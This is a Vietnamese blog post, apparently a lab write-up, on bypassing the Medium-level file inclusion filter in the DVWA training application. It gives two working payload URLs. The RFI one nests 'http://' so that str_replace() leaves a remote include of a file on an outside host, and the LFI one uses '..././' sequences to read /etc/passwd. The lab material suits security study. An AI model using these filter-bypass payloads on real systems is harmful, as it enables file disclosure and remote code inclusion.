Trong bài trước, ở cấp độ Low, chúng ta đã thực hiện tống công bằng LFI và RFI. Code của DVWA cho cấp độ này như sau.
Như vậy ở cấp độ này không có bất cứ sự kiểm tra đầu vào nào.
Ở mức độ Medium này thì sao ?
Hàm str_replace() sẽ xóa tất cả các giá trị được gán như là http:// ; https:// và các ký tự như : ../ ..\ (cho phép người dùng thoát khỏi thư mục). và thay thế bằng giá trị " "; sau đó nó sẽ trả lại trang ban đâu cho người dùng
Cấu trúc str_replace($chuoi_tim,$chuoi_thay_the,$chuoi_nguon) là để tìm kiếm và thay thế.
Func_string_Str_replace
Khai thác RFI
Như vậy để vượt qua sự kiểm tra của hàm str_replace() thì chúng ta làm thế nào
http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=htthttp://p://thudv.com:8000/file.html
khi hàm str_replace() kiểm tra nó sẽ thấy giá trị được gán có từ khóa http:// thì sẽ được thay thế bằng "" . Vậy lúc này trang sẽ được trả về như sau
http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=http://thudv.com:8000/file.html
Còn về khai thác LFI thì sao ?
Cũng tương tự RFI chúng ta thực hiện như sau
mỗi cặp ../ chúng ta chuyển thành . ../ ./
==> link khai thác chúng ta sẽ là
http://dvwa_lab.com/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd
Pages
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment